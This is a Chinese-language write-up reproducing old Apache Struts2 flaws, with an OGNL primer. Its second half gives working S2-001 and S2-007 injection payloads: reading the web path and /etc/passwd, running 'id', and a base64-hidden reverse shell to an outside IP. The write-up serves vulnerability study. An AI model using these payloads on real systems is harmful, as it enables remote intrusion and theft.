struts2历史漏洞复现
Struts2框架
Struts2框架是Apache软件基金会开发的跨平台开源Java EE网络应用框架,采用MVC架构并融合Struts与WebWork技术,支持拦截器、OGNL表达式语言及可复用标签API,2007年2月发布首个正式版本 。该框架通过拦截器、OGNL表达式语言和堆栈实现对请求处理的关键组件支持
**MVC**(Model-View-Controller)架构模式是一种广泛应用于应用程序开发的设计模式,它将应用程序分为三个核心组件:模型(Model)、视图(View)和控制器(Controller),实现了业务逻辑、数据和界面显示的分离。
OGNL表达式
OGNL的全称是Object-Graph Navigation Language,即对象图导航语言,它是一种功能强大的开源表达式语言使用这种表达式语言可以通过某种表达式语法存取Java对象的任意属性,调用Java对象的方法,以及实现类型转行等。
OGNL三要素:
- 表达式(expression):表达式是整个OGNL的核心,OGNL会根据表达式到对象中取值。所有OGNL操作都是针对表达式解析后进行的,它表明了此次OGNL操作要“做什么”。实际上,表达式就是一个带有语法含义的字符串,这个字符串规定了操作的类型和操作的内容
- 根对象(root):根对象可以理解为OGNL的操作对象,OGNL可以对根对象进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是OGNL的上下文对象环境。
- 上下文对象(context): 上下文对象规定了OGNL操作“在哪里进行”。context对象是一个Map类型的对象,在表达式中访问context中的对象,需要使用#号加对象名称,即“#对象名称”的形式。
简单实例:
1 | import ognl.Ognl; |
复现
S2-001
S2-001 本质上是由于 Apache Struts 对用户输入进行了 OGNL 二次/递归解析 导致的远程代码执行(RCE)漏洞。
1 | <s:form action="login"> |
当用户输入错误的用户和密码时,页面重新渲染,会把%{1+1}再次当作 OGNL 解析。如果攻击者输入的是恶意 OGNL,就可能执行系统命令。

获取web路径
1 | %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} |

获取/etc/passwd
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |

反弹shell:
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMTYyLjEzLzY2NjYgMD4mMQ==} |{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
S2-007

1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' |

参考:
